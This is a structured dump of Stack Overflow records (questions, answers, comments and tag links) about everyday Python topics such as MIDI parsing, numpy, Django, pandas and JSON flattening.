has text: yes. we could consider this as a general valid rule. However, it could also happen that Op.progressPercentage is not always ordered (e.g. the row with 3.0 could also come after the row with 4.o).
comment on: http://stackoverflow.com/q/47273443

http://stackoverflow.com/q/47278446
has comment: http://stackoverflow.com/comment/81545570
upvote count: 2
type: UnansweredQuestion
tagged with: python
has body: I'm trying to get the start and stop times of all the notes from a MIDI file for a piano. From my understanding, there are note_on and note_off events with delta time in ticks, which I can use to get the start and stop times. However, what I'm confused with is with the time variable. When I just have a simple program such as for msg in mid: print(msg.dict()) I get outputs such as: {'note': 60, 'velocity': 61, 'type': 'note_on', 'channel': 0, 'time': 0.0016891895833333333} {'note': 64, 'velocity': 57, 'type': 'note_on', 'channel': 0, 'time': 0.20270275} {'note': 67, 'velocity': 56, 'type': 'note_on', 'channel': 0, 'time': 0.20270275} {'note': 67, 'velocity': 0, 'type': 'note_on', 'channel': 0, 'time': 0.20270275} {'note': 72, 'velocity': 60, 'type': 'note_on', 'channel': 0, 'time': 0} {'type': 'set_tempo', 'tempo': 794702, 'time': 0.20101356041666665} From my understanding, this means that the notes have delta times that are all less than 1 tick, which seems completely wrong to me. However, what I like is that doing it this way has the note_on, note_off, and set_tempo events in the order that they occur. When I instead do mid.print_tracks() I get an output such as: &lt;meta message set_tempo tempo=794702 time=480&gt; &lt;meta message set_tempo tempo=810811 time=120&gt; &lt;meta message set_tempo tempo=800000 time=960&gt; &lt;meta message set_tempo tempo=810811 time=360&gt; ... === Track 1 &lt;meta message midi_port port=0 time=0&gt; &lt;meta message track_name name=u'Piano right' time=0&gt; &lt;message program_change channel=0 program=0 time=0&gt; &lt;message control_change channel=0 control=7 value=100 time=0&gt; &lt;message control_change channel=0 control=10 value=64 time=0&gt; &lt;message control_change channel=0 control=91 value=127 time=0&gt; &lt;meta message text text=u'bdca426d104a26ac9dcb070447587523' time=0&gt; &lt;message note_on channel=0 note=67 velocity=56 time=241&gt; &lt;message note_on channel=0 note=67 velocity=0 time=120&gt; The time element in the…
has comment: http://stackoverflow.com/comment/81511308
has answer: http://stackoverflow.com/a/47303562
score: 1
has title: MIDI messages confusion [Python]
answer count: 1
tagged with: midi
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/a/47362808
answers question: http://stackoverflow.com/q/47362723
has body: This might be the solution final_result = [] for i in mylist: current_list = mylist[i] d = {} for key in current_list: try: d[m]+=1 except KeyError as e: d.update({m: 1}) final_result.append(d) for i in final_result: print(i)
score: 0
type: Answer

http://stackoverflow.com/comment/81693782
type: QuestionComment
comment on: http://stackoverflow.com/q/47370442
has text: I understand what you want, but I want to make sure your question ticks all the boxes before answering it.
type: Comment
score: 0

http://stackoverflow.com/comment/81402344
has text: How is anyone supposed to help you when clearly the code that caused the error isn't even present?
score: 0
comment on: http://stackoverflow.com/q/47225903
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81417744
comment on: http://stackoverflow.com/a/47233570
type: Comment
has text: I have edit permission to the bucket. As I can create folders within bucket via FTPclient.
score: 0
type: AnswerComment

django
tags question: http://stackoverflow.com/q/47369009
tags question: http://stackoverflow.com/q/47268635
tags question: http://stackoverflow.com/q/47337639
tags question: http://stackoverflow.com/q/47322484
tags question: http://stackoverflow.com/q/47249508
tags question: http://stackoverflow.com/q/47228488
tags question: http://stackoverflow.com/q/47227236
tags question: http://stackoverflow.com/q/47303710
tags question: http://stackoverflow.com/q/47242928
tags question: http://stackoverflow.com/q/47328086
tags question: http://stackoverflow.com/q/47264754
tags question: http://stackoverflow.com/q/47253544
tags question: http://stackoverflow.com/q/47249245
tags question: http://stackoverflow.com/q/47251664
tags question: http://stackoverflow.com/q/47279487
tags question: http://stackoverflow.com/q/47372383
tags question: http://stackoverflow.com/q/47300691
tags question: http://stackoverflow.com/q/47294630
tags question: http://stackoverflow.com/q/47374647
tags question: http://stackoverflow.com/q/47291089
tags question: http://stackoverflow.com/q/47380838
tags question: http://stackoverflow.com/q/47230523
tags question: http://stackoverflow.com/q/47369809
tags question: http://stackoverflow.com/q/47344644
tags question: http://stackoverflow.com/q/47254560
tags question: http://stackoverflow.com/q/47333957
tags question: http://stackoverflow.com/q/47288360
tags question: http://stackoverflow.com/q/47246364
tags question: http://stackoverflow.com/q/47238946
tags question: http://stackoverflow.com/q/47316478
tags question: http://stackoverflow.com/q/47253799
tags question: http://stackoverflow.com/q/47381718
tags question: http://stackoverflow.com/q/47281425
tags question: http://stackoverflow.com/q/47361531
tags question: http://stackoverflow.com/q/47339848
tags question: http://stackoverflow.com/q/47377274
tags question: http://stackoverflow.com/q/47343477
tags question: http://stackoverflow.com/q/47243760
tags question: http://stackoverflow.com/q/47357327
tags question: http://stackoverflow.com/q/47375736
tags question: http://stackoverflow.com/q/47228529
tags question: http://stackoverflow.com/q/47371579
tags question: http://stackoverflow.com/q/47264373
tags question: http://stackoverflow.com/q/47228980
tags question: http://stackoverflow.com/q/47341076
tags question: http://stackoverflow.com/q/47321634
tags question: http://stackoverflow.com/q/47289951
tags question: http://stackoverflow.com/q/47253080
tags question: http://stackoverflow.com/q/47375719
tags question: http://stackoverflow.com/q/47278016
tags question: http://stackoverflow.com/q/47231255
tags question: http://stackoverflow.com/q/47261926
tags question: http://stackoverflow.com/q/47234183
tags question: http://stackoverflow.com/q/47309533
tags question: http://stackoverflow.com/q/47330041
tags question: http://stackoverflow.com/q/47344810
tags question: http://stackoverflow.com/q/47263325
tags question: http://stackoverflow.com/q/47241005
tags question: http://stackoverflow.com/q/47370953
tags question: http://stackoverflow.com/q/47293627
tags question: http://stackoverflow.com/q/47368138
tags question: http://stackoverflow.com/q/47274326
tags question: http://stackoverflow.com/q/47229488
tags question: http://stackoverflow.com/q/47256309
tags question: http://stackoverflow.com/q/47256266
tags question: http://stackoverflow.com/q/47259129
tags question: http://stackoverflow.com/q/47286054
tags question: http://stackoverflow.com/q/47279280
tags question: http://stackoverflow.com/q/47256630
tags question: http://stackoverflow.com/q/47307998
tags question: http://stackoverflow.com/q/47364215
tags question: http://stackoverflow.com/q/47328813
tags question: http://stackoverflow.com/q/47304291
tags question: http://stackoverflow.com/q/47375759
tags question: http://stackoverflow.com/q/47381693
tags question: http://stackoverflow.com/q/47366385
tags question: http://stackoverflow.com/q/47333192
tags question: http://stackoverflow.com/q/47258946
tags question: http://stackoverflow.com/q/47362743
tags question: http://stackoverflow.com/q/47370243

http://stackoverflow.com/a/47255241
has body: Since I've been working with array languages for decades (APL, MATLAB, numpy) I can't help with the starting steps. But I suspect I work mostly from patterns, things I've seen and used in the past. And I do a lot to experimentation in an interactive session. To take your example: In [273]: small_array = np.array(["a", "b"]) ...: big_array = np.array(["a", "b", "c", "d"]) ...: ...: for i in range(len(small_array)): ...: for p in range(len(big_array)): ...: if small_array[i] == big_array[p]: ...: print( "This item is matched: ", small_array[i]) ...: This item is matched: a This item is matched: b Often I run the iterative case just to get a clear(er) idea of what is desired. In [274]: small_array Out[274]: array(['a', 'b'], dtype='&lt;U1') In [275]: big_array Out[275]: array(['a', 'b', 'c', 'd'], dtype='&lt;U1') I've seen this before - iterating over two arrays, and doing something with the paired values. This is a kind of outer operation. There are various tools, but the one I like best makes use of numpy broadcasting. It turn one array into a (n,1) array, and use it with the other (m,) array In [276]: small_array[:,None] Out[276]: array([['a'], ['b']], dtype='&lt;U1') The result of (n,1) operating with (1,m) is a (n,m) array: In [277]: small_array[:,None]==big_array Out[277]: array([[ True, False, False, False], [False, True, False, False]], dtype=bool) Now I can take an any or all reduction on either axis: In [278]: _.all(axis=0) Out[278]: array([False, False, False, False], dtype=bool) In [280]: __.all(axis=1) Out[280]: array([False, False], dtype=bool) I could also use np.where to reduce that boolean to indices. Oops, I should have used any In [284]: (small_array[:,None]==big_array).any(0) Out[284]: array([ True, True, False, False], dtype=bool) In [285]: (small_array[:,None]==big_array).any(1) Out[285]: array([ True, True], dtype=bool) Having played with this I remember that there's a in1d that does something similar In [286]: np.in1d(big_array, small_array) Out…
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/81462085
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/47254563
answers question: http://stackoverflow.com/q/47254563
type: Answer

http://stackoverflow.com/comment/81572783
has text: Thank you really much!! It works. But now I have a new problem. I want to start this python File with cronjob on the RPi3. But i see on another website that they write in crontab -e this line: @reboot /home/pi/PIR.sh So i need a PIR.sh File. My first Approach was: #!/usr/bin/python sudo python PIR.py But this don't work. Can you help me ?
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47277186
type: Comment

http://stackoverflow.com/comment/81732588
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/47333131
has text: Not really sure what the problem is then. Edited my answer, hope this will make it clear.
type: Comment

http://stackoverflow.com/comment/81482693
score: 0
has text: I did that but didnt change answer :/
type: Comment
comment on: http://stackoverflow.com/q/47265651
type: QuestionComment

http://stackoverflow.com/comment/81672654
score: 0
has text: Example: {"artist":{"name":"U2","mbid":"a3cb23fc-acd3-4ce0-8f36-1e5aa6a18432", "url":"https://www.last.fm/music/U2"},"bio":{"links":{"link":{"#text":"","rel":"original","href":"https://last.fm/music/U2/+wiki"}},"summary":"U2 is an alternative rock band..."
type: Comment
comment on: http://stackoverflow.com/q/47359292
type: QuestionComment

http://stackoverflow.com/comment/81592499
score: 0
type: Comment
type: QuestionComment
has text: @AndiS you've never seen anyone write PHP in an HTML file either. Again, with the appropriate apache mods you can mix templates and programming in the same Python file like you can in a PHP file. Its just that people have largely quit doing that except in PHP.
comment on: http://stackoverflow.com/q/47319325

http://stackoverflow.com/q/47243858
score: 1
has comment: http://stackoverflow.com/comment/81438242
tagged with: python
has comment: http://stackoverflow.com/comment/81438316
has answer: http://stackoverflow.com/a/47243911
tagged with: python-3.x
tagged with: list
answer count: 2
has body: Trying to learn how to search for "pattern-like" sequences in a list in Python, i.e. find whether there is a specific sequence of integers in a list. My best idea was to check if a) all three numbers are present b) to see if their indices are sequentially greater than each other. But I am getting unexcepted output like so: necessary_sequence = [20, 56, 2] first_num = necessary_sequence[0] second_num = necessary_sequence[1] third_num = necessary_sequence[2] test_list = [43, 12, 20, 20, 56, 56, 2, 4, 98, 20] #should print output_2, but printing output_1 (order rule is not observed) if first_num in test_list and second_num in test_list and third_num in test_list: if test_list.index(first_num) &lt; test_list.index(second_num) &lt; test_list.index(third_num): print("output_1: all three numbers are in the list in order") else: print("output_2: the numbers are either missing from the list or are not in order") Can someone pinpoint the flaws in the logic of the above code?
downvote count: 0
upvote count: 1
has title: Search for items in a specific order in lists
has comment: http://stackoverflow.com/comment/81438230
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/47245433
possible better answer: http://stackoverflow.com/a/47245433
accepted answer: http://stackoverflow.com/a/47243911
type: AnsweredQuestion

http://stackoverflow.com/q/47286951
has comment: http://stackoverflow.com/comment/81523858
favorite count: 0
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/47287407
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/47287407
has body: def john(): for i in range(5): if i == 3: break print(i) john() The function above prints 3 when called upon, whis is this so? Are loop variables still remembered after the loop has ended / break'ed'?
upvote count: 0
score: -2
downvote count: 2
has title: Remembering loop variables after loop has ended in python
answer count: 1
tagged with: python

http://stackoverflow.com/comment/81630977
has text: passing OpenCV image object between processing needs a lot of work, very inefficient, you could try to do image loading and following calculation with one process and measure again.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47304750
score: 0

http://stackoverflow.com/comment/81570791
type: Comment
has text: @Alasdair There's a call to `values` in the first line.
comment on: http://stackoverflow.com/q/47309533
type: QuestionComment
score: 1

http://stackoverflow.com/a/47379188
answers question: http://stackoverflow.com/q/47379132
score: 1
has body: This has nothing to do with web scraping or imgur. You're getting a python syntax error at the beginning of this line: rel = response.xpath("//img[@src='//i.imgur.com/*.*'])".extract() This is because you have two opening parens but only one closing paren on the preceding line: # v image['title'] = response.xpath(\ "//h1[@class='post-title']/text()".extract() # ^^ The opening paren in response.xpath( is unbalanced.
type: Answer
has comment: http://stackoverflow.com/comment/81715195
upvote count: 1
downvote count: 0

http://stackoverflow.com/a/47282922
type: Answer
has comment: http://stackoverflow.com/comment/81517084
answers question: http://stackoverflow.com/q/47282550
has comment: http://stackoverflow.com/comment/81517266
score: 0
has body: Some points while writing if else: 1. Don't repeat code if a condition is repeating break it into nested if-else. 2. Use 2 &lt; n &lt; 5 rather than 2 &lt; n and n &lt; 5, write code in pythonic style. 3. use else for default cases, don't put unnecessary conditions. 4. You are using print in 2 different styles, use one. n=5 if n%2 != 0: print("weird") else: if 2 &lt; n &lt; 5: print("Not Weird") elif 6 &lt; n &lt; 20: print("Weird") else: print("NOt Weird")
has comment: http://stackoverflow.com/comment/81517593
has comment: http://stackoverflow.com/comment/81517417

http://stackoverflow.com/comment/81590134
type: QuestionComment
type: Comment
score: 0
has text: @adambullmer I'm actually not sure that your solution is any faster than the OP's original code (though I'm not saying it's not an elegant approach). You now have a function call overhead for every item in the list (which may or may not balance against `append` cost). You'd have to use `timeit` to see.
comment on: http://stackoverflow.com/q/47319355

http://stackoverflow.com/comment/81715795
type: QuestionComment
has text: can someone please answer it would really help
score: 0
comment on: http://stackoverflow.com/q/47381241
type: Comment

http://stackoverflow.com/q/47367366
tagged with: http://stackoverflow.com/tag/xml
type: Question
answer count: 0
type: UnansweredQuestion
downvote count: 0
has comment: http://stackoverflow.com/comment/81687500
favorite count: 0
has comment: http://stackoverflow.com/comment/82339567
has comment: http://stackoverflow.com/comment/81687287
score: 3
has title: how to read number list from docx (word file)
upvote count: 3
has comment: http://stackoverflow.com/comment/81687953
has body: how to read number list from docx (word file) bulletsquestions.docx: 1. this is a question text A. Option first B. Option second C. Option third D. Option fourth E. Option fifth stack.py: import zipfile from xml.etree.ElementTree import XML sourceFile = zipfile.ZipFile('bulletsquestions.docx') xml_content = sourceFile.read('word/document.xml') WORD_NAMESPACE = '{http://schemas.openxmlformats.org/wordprocessingml/2006/main}' PARA = WORD_NAMESPACE + 'p' TEXT = WORD_NAMESPACE + 't' tree = XML(xml_content) tex="" for paragraph in tree.getiterator(PARA): for read_item in paragraph.getiterator(TEXT): tex=tex+read_item.text print(tex) RESULT: this is a question text Option firstOption secondOption thirdOption fourthOption fifth
tagged with: python
tagged with: ms-word

http://stackoverflow.com/comment/138646899
type: Comment
has text: Thanks for this, Rob. It's the most straightforward answer, IMHO.
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/47358273

http://stackoverflow.com/comment/81594175
comment on: http://stackoverflow.com/a/47321361
score: 0
type: Comment
type: AnswerComment
has text: Also, `('a', 'e', 'i', 'o', 'u')` is no different in performance than `'aeiou'` in this case.

http://stackoverflow.com/comment/137054327
has text: Thanks! Currently for python2.7 on Ubuntu use `python2-dev`
comment on: http://stackoverflow.com/a/47800072
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/q/47271262
accepted answer: http://stackoverflow.com/a/47273554
type: Question
has answer: http://stackoverflow.com/a/47273554
has body: I want to hide the column bh in the html page so I am hiding it by exclude in forms.py and trying to set foreign key column bh with request.user.username in the views but it is giving me this error: Cannot assign "]>": "Bed.bh" must be a "Hospital" instance. Is there any way to resolve the issue. Please help! `#forms.py class BedForm(forms.ModelForm): class Meta: model=Bed fields = ('bed_id','bed_type','created_date','bh',) exclude=('bh',) if request.method == "POST": form = BedForm(request.POST) if form.is_valid(): bed = form.save(commit=False) bed.created_date = timezone.now() hh = Hospital.objects.filter(hospital_id=request.user.username) bed.bh=hh bed.save() b = Bed.objects.filter(bh=request.user.username) `
answer count: 1
downvote count: 0
tagged with: django
upvote count: 1
has title: how to hide column in django form and set foreign key value
favorite count: 0
type: AnsweredQuestion
score: 1
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: forms

http://stackoverflow.com/a/47340331
score: 0
type: Answer
answers question: http://stackoverflow.com/q/47340057
has body: You can also see the answer to this question about transposing lists of lists, and do something like: at = list(map(list, zip(*a))) b = at[0][1:3] Though as someone has mentioned in the comments, if you're going to be doing a lot of matrix manipulation, you'd be better off using NumPy.

http://stackoverflow.com/comment/81408290
has text: correct, set every timestep to NAN for A,B,C,D
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47228807
score: 0

http://stackoverflow.com/q/47233419
upvote count: 1
has body: I'm completely new to Python and coding in general. I am needing to write a code that allows the user to input many lines and when they are finished writing their multiple sentences, they enter a single period to stop the program and the program will then tell the user how many words were inputted. How would I go about doing this? Here is what I have so far: print("Enter as many lines of text as you want.") print("When you're done, enter a single period on a line by itself.") while True: print("&gt; ", end="") line = input() if line == ".": break totalWords = line.split() newWords = totalWords.append(line) wordCount = len(newWords) print("The number of words entered:" , wordCount, "")
favorite count: 0
has answer: http://stackoverflow.com/a/47233683
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/81417516
tagged with: python
type: Question
accepted answer: http://stackoverflow.com/a/47233683
tagged with: python-3.x
downvote count: 4
has title: Word count from the user
has comment: http://stackoverflow.com/comment/81417514
score: -3
has comment: http://stackoverflow.com/comment/81417531
answer count: 1

http://stackoverflow.com/comment/81480650
type: QuestionComment
has text: try loop through users (Distinct ) and do set_all() for messages , This will give you all messages associated with that user
score: 0
comment on: http://stackoverflow.com/q/47264754
type: Comment

http://stackoverflow.com/a/47319346
type: AcceptedAnswer
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/47319313
score: 10
has body: You can use os's splitext. import os path = '/Users/vivek/Desktop/buffer/xmlTest/' files = [os.path.splitext(filename)[0] for filename in os.listdir(path)] print (files) Just a heads up: basename won't work for this. basename doesn't remove the extension.
accepted answer of: http://stackoverflow.com/q/47319313
upvote count: 10

http://stackoverflow.com/a/47340769
has body: Try it like this, exec("C:\Python27\python.exe C:\dir...\file.py"); The problem is you must call C:\Python27\python.exe Python exe file before python file.
upvote count: 2
score: 2
answers question: http://stackoverflow.com/q/47340561
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47340561
type: Answer

http://stackoverflow.com/q/47238915
has title: User input for custom .format()
tagged with: python
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81435202
possible better answer: http://stackoverflow.com/a/47241039
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/47242574
has answer: http://stackoverflow.com/a/47242423
answer count: 3
has answer: http://stackoverflow.com/a/47241039
has answer: http://stackoverflow.com/a/47242574
has body: I got a list of tuples with 4 variables, those will be printed in a single line each and I want the user to specify the format of those prints. This is my code so far: mylist = [ ("Monday", "13", "November", "2017"), ("Tuesday", "14", "November", "2017"), ("Wednesday", "15", "November", "2017")] # Note: The real list have a thousand of items, not just 3. custom_format = self.GUI_field_where_user_types.get_text() for item in mylist: weekday = item[0] daynumber = item[1] month = item[2] year = item[3] print(eval(custom_format)) # Example custom_format: '"{0}, {1} of {2} from year {3}".format(weekday, daynumber, month, year)' For tests, I just tried with the input above and it obviously works, but I don't want to use eval as it's obviously too dangerous. So my question is: How can I make the user define the format in a safe way? Note: The user should be able to only edit the string before the .format() method "{0}, {1} of {2} from year {3}", blocking access to any python command, but allowing him to use only the variables that he want, not always the 4 of them. Some examples might be: {0}, {1} of {2} {3}, {1} at month {2} {0}, {1} of {2} from year {3} {1} whatever {2} -- {3}
type: Question
tagged with: eval

http://stackoverflow.com/comment/81424216
comment on: http://stackoverflow.com/a/47227915
type: AnswerComment
score: 0
type: Comment
has text: Hmm I did that now, and I'm still getting the same error message. I simply downloaded an installer file for Windows, is that a "precompiled egg or wheel", or do I have to do some additional steps myself?

http://stackoverflow.com/comment/81451021
type: Comment
comment on: http://stackoverflow.com/a/47250349
score: 0
type: AnswerComment
has text: This code will not work for 10^250, Python will greet with `RecursionError: maximum recursion depth exceeded in comparison`

http://stackoverflow.com/comment/81678994
type: QuestionComment
has text: Show the code that makes that error, please.
comment on: http://stackoverflow.com/q/47362997
score: 0
type: Comment

http://stackoverflow.com/q/47255819
duplicate of: http://stackoverflow.com/q/4020539
type: Question
has body: # read from file code = [line.strip() for line in open(file_path)] # file content: "var x = '\n'" # print(code) now looks like: ["var x = '\\n'"] # write json to disk with open('json.cfg', 'w') as file: file.write(json.dumps(code)) &gt;&gt; cat json.cfg &gt;&gt; "var x = '\\n'" I'd like json.cfg content to be: "var x = '\n'"
has title: How to unescape string within a list
score: 0
answer count: 0
type: UnansweredQuestion
tagged with: python
linked to: http://stackoverflow.com/q/4020539
has comment: http://stackoverflow.com/comment/81462476
linked to: http://stackoverflow.com/q/5036700
has comment: http://stackoverflow.com/comment/81462531

http://stackoverflow.com/comment/81491589
type: Comment
has text: @Marty Looks like alexis has you covered
type: QuestionComment
comment on: http://stackoverflow.com/q/47270227
score: 1

http://stackoverflow.com/comment/81622352
type: AnswerComment
score: 1
has text: Or if you're going full-functional, `reduce(partial(pd.Series.append, ignore_index=True), (s1, s2, s3))` :P
comment on: http://stackoverflow.com/a/47333062
type: Comment

http://stackoverflow.com/a/47375409
has body: Imperative paradigm is often: state = state0 while condition: # change state This is the "natural" way of programming for lot of people and you know how do that in this way. The pure functional paradigm forbid variables, which have some advantages . It works with functions which communicates through parameters(IN) and return values(OUT). It frequently uses recursive functions. A generic functional recursive scheme is : f = lambda *args : result(*args) if condition(*args) else f(*newparams(*args)) Here we can find a solution with (l,i,imax,prodmax) as parameters, and: condition = lambda l,i,_,__ : i&gt;=len(l)-5 result = lambda _,__,*args : args newparams = lambda l,i,imax,prodmax: (l, i+1, imax, prodmax) \ if l[i]*l[i+1]*l[i+2]*l[i+3]*l[i+4] &lt;= prodmax \ else (l, i+1, i, l[i]*l[i+1]*l[i+2]*l[i+3]*l[i+4]) None other than functions have been defined. You can even define no functions to do that, see here for example, but readability suffers even more. Run : In [1]: f([random.randint(0,9) for i in range (997)],0,0,0) Out[1]: (386, 59049) Python limits this approach by setting recursive depth to 2000, and from Python 3, by hiding functional tools in the module functools.
score: 0
answers question: http://stackoverflow.com/q/47366553
type: Answer

http://stackoverflow.com/a/47359866
answers question: http://stackoverflow.com/q/47359810
type: Answer
score: 2
upvote count: 2
downvote count: 0
has body: You are almost correct. The problem is with your a=[i]. By using [] brackets you are creating a list, so a is a list, instead of an int. Change a=i and it will be fine. Also hardcoded range(7) should be changed to range(len(aSequence)). The ideal solution for you would be something like: def enum(aSequence): result = [] for i in range(len(aSequence)): result.append((i, aSequence[i])) return result What you need to remember is the fact, that print is not a return.

http://stackoverflow.com/comment/81486578
comment on: http://stackoverflow.com/a/47267931
has text: No, ``walsh_transform()`` does not return a string. Please check ;)
type: AnswerComment
score: 0
type: Comment

http://stackoverflow.com/a/47274972
upvote count: 2
has body: The error is coming from the fact that you have single quotes around the period inside your single-quoted regex string-literal; this actually isn't the correct syntax, I think you mean to use an escaped-period i.e. r'(?=,)*(?&lt;=\.). However you don't need to use lookahead/lookbehind here, it's more usual and simpler to use capture-groups to describe your regex; in this case the regex would be df_Train['Name'].str.extract(", (\w*)\.")
downvote count: 0
answers question: http://stackoverflow.com/q/47274888
type: Answer
score: 2

pandas
tags question: http://stackoverflow.com/q/47307659
tags question: http://stackoverflow.com/q/47347319
tags question: http://stackoverflow.com/q/47225863
tags question: http://stackoverflow.com/q/47251929
tags question: http://stackoverflow.com/q/47301581
tags question: http://stackoverflow.com/q/47254587
tags question: http://stackoverflow.com/q/47309376
tags question: http://stackoverflow.com/q/47293729
tags question: http://stackoverflow.com/q/47281123
tags question: http://stackoverflow.com/q/47240859
tags question: http://stackoverflow.com/q/47358928
tags question: http://stackoverflow.com/q/47308363
tags question: http://stackoverflow.com/q/47271709
tags question: http://stackoverflow.com/q/47379661
tags question: http://stackoverflow.com/q/47382607
tags question: http://stackoverflow.com/q/47308984
tags question: http://stackoverflow.com/q/47344577
tags question: http://stackoverflow.com/q/47297293
tags question: http://stackoverflow.com/q/47327391
tags question: http://stackoverflow.com/q/47267826
tags question: http://stackoverflow.com/q/47254954
tags question: http://stackoverflow.com/q/47324633
tags question: http://stackoverflow.com/q/47289878
tags question: http://stackoverflow.com/q/47230519
tags question: http://stackoverflow.com/q/47292603
tags question: http://stackoverflow.com/q/47320316
tags question: http://stackoverflow.com/q/47381865
tags question: http://stackoverflow.com/q/47284546
tags question: http://stackoverflow.com/q/47308923
tags question: http://stackoverflow.com/q/47361865
tags question: http://stackoverflow.com/q/47233855
tags question: http://stackoverflow.com/q/47336626
tags question: http://stackoverflow.com/q/47258615
tags question: http://stackoverflow.com/q/47329128
tags question: http://stackoverflow.com/q/47237029
tags question: http://stackoverflow.com/q/47352871
tags question: http://stackoverflow.com/q/47254754
tags question: http://stackoverflow.com/q/47278164
tags question: http://stackoverflow.com/q/47290426
tags question: http://stackoverflow.com/q/47321703
tags question: http://stackoverflow.com/q/47274094
tags question: http://stackoverflow.com/q/47376642
tags question: http://stackoverflow.com/q/47324773
tags question: http://stackoverflow.com/q/47360824
tags question: http://stackoverflow.com/q/47358952
tags question: http://stackoverflow.com/q/47350412
tags question: http://stackoverflow.com/q/47236658
tags question: http://stackoverflow.com/q/47226170
tags question: http://stackoverflow.com/q/47316635
tags question: http://stackoverflow.com/q/47360510
tags question: http://stackoverflow.com/q/47280268
tags question: http://stackoverflow.com/q/47382594
tags question: http://stackoverflow.com/q/47252889
tags question: http://stackoverflow.com/q/47336646
tags question: http://stackoverflow.com/q/47331270
tags question: http://stackoverflow.com/q/47346443
tags question: http://stackoverflow.com/q/47288751
tags question: http://stackoverflow.com/q/47334582
tags question: http://stackoverflow.com/q/47328402
tags question: http://stackoverflow.com/q/47299082
tags question: http://stackoverflow.com/q/47337141
tags question: http://stackoverflow.com/q/47224207
tags question: http://stackoverflow.com/q/47224974
tags question: http://stackoverflow.com/q/47272045
tags question: http://stackoverflow.com/q/47243024
tags question: http://stackoverflow.com/q/47268860
tags question: http://stackoverflow.com/q/47337534
tags question: http://stackoverflow.com/q/47372573
tags question: http://stackoverflow.com/q/47370141
tags question: http://stackoverflow.com/q/47290682
tags question: http://stackoverflow.com/q/47314000
tags question: http://stackoverflow.com/q/47376729
tags question: http://stackoverflow.com/q/47319418
tags question: http://stackoverflow.com/q/47348157
tags question: http://stackoverflow.com/q/47369769
tags question: http://stackoverflow.com/q/47336916
tags question: http://stackoverflow.com/q/47365878
tags question: http://stackoverflow.com/q/47341308
tags question: http://stackoverflow.com/q/47304422
tags question: http://stackoverflow.com/q/47278940

http://stackoverflow.com/a/47384381
type: Answer
answers question: http://stackoverflow.com/q/47381824
has body: turtle doesn't have function to get pixel color. It uses tkinter (and widget tkinter.Canvas - turtle.getcanvas()) to display everything but it doesn't have function to get pixel color too. Canvas keeps all as objects and second answer for "Get pixel colors of tkinter canvas" shows how to get color of object in position (x,y). Maybe it will work for you. EDIT: I made working example canvas uses different coordinates - it needed to change y = -y import turtle # --- functions --- (lower_case_names) def get_pixel_color(x, y): # canvas use different coordinates y = -y canvas = turtle.getcanvas() ids = canvas.find_overlapping(x, y, x, y) if ids: # if list is not empty index = ids[-1] color = canvas.itemcget(index, "fill") if color != '': return color.lower() return "white" # default color def modify_global_variables(rawx,rawy): global xclick global yclick xclick = int(rawx) yclick = int(rawy) print(get_pixel_color(xclick, yclick)) def draw_rect(x1, y1, width, height, color): y1 = -y1 canvas = turtle.getcanvas() canvas.create_rectangle((x1, y1, x1+width, y1+height), fill=color, width=0) # --- main --- # Global variables specifying the point clicked xclick = 0 yclick = 0 # Draw a rectangle that is red height = 50.0 # now it is float length = height * 1.9 length = round(length, 2) turtle.down() turtle.color("RED") turtle.begin_fill() for _ in range(2): turtle.forward(length) turtle.right(90) turtle.forward(height) turtle.right(90) turtle.end_fill() # Use tkinter.Canvas to draw rectangle draw_rect(100, 100, length, height, 'green') # Gets the click &amp; Modifies the global variables turtle.onscreenclick(modify_global_variables) turtle.done()
type: AcceptedAnswer
score: 4
upvote count: 4
downvote count: 0
accepted answer of: http://stackoverflow.com/q/47381824

http://stackoverflow.com/q/47367665
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/81687802
answer count: 2
score: 5
has title: What is the fastest and generic way to flatten deeply nested JSON to get a Dataframe?
type: UnansweredQuestion
downvote count: 0
has answer: http://stackoverflow.com/a/51537079
favorite count: 0
type: Question
tagged with: pandas
has body: I am trying to do some descriptives on my own location data that I got from my Google timeline. But when trying to get some workable data, to convert it from a JSON-file to a DataFrame. It brought up some questions that I would like to have some answers to because when trying to convert the JSON-file to a DataFrame it felt for me that I was going to do it in an inefficient way. To give a description of what my JSON looks like. It is a JSON of 3 levels deep and has around 4.5 million lines. A small example of the JSON: "locations" : [ { "timestampMs" : "1489591483", "latitudeE7" : -21.61909, "longitudeE7" : 121.65283, "accuracy" : 23, "velocity" : 18, "heading" : 182, "altitude" : 55, "activity" : [ { "timestampMs" : "1489591507", "activity" : [ { "type" : "IN_VEHICLE", "confidence" : 49 }, { "type" : "UNKNOWN", "confidence" : 17 }, { "type" : "ON_BICYCLE", "confidence" : 15 }, { "type" : "ON_FOOT", "confidence" : 9 }, { "type" : "STILL", "confidence" : 9 }, { "type" : "WALKING", "confidence" : 9 } ] } ] }, ... ] To convert it to a DataFrame I want to flatten those 3 levels down to 0 levels. I have seen some implementations with json_normalize in combination with .apply or .append but therefore you still needed to know the key to the value, which I would have rather seen to be more generic (so without knowing the key). And it also required to manually iterate over the values. Now what I would like to know is: "Is there a method that automatically flattens the JSON down to 0 levels without using apply or append?" If there isn't such a method, what would be the preferred way of flatting JSON and converting it to a DataFrame? Edit: Added an example of what the DataFrame should look like and a better example of the JSON. To give a small example of what the DataFrame should look like, see the image below: To include a better example of what the JSON looks like I have included a Pastebin URL below: tiny location history sample
upvote count: 5
tagged with: http://stackoverflow.com/tag/json
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/81687839
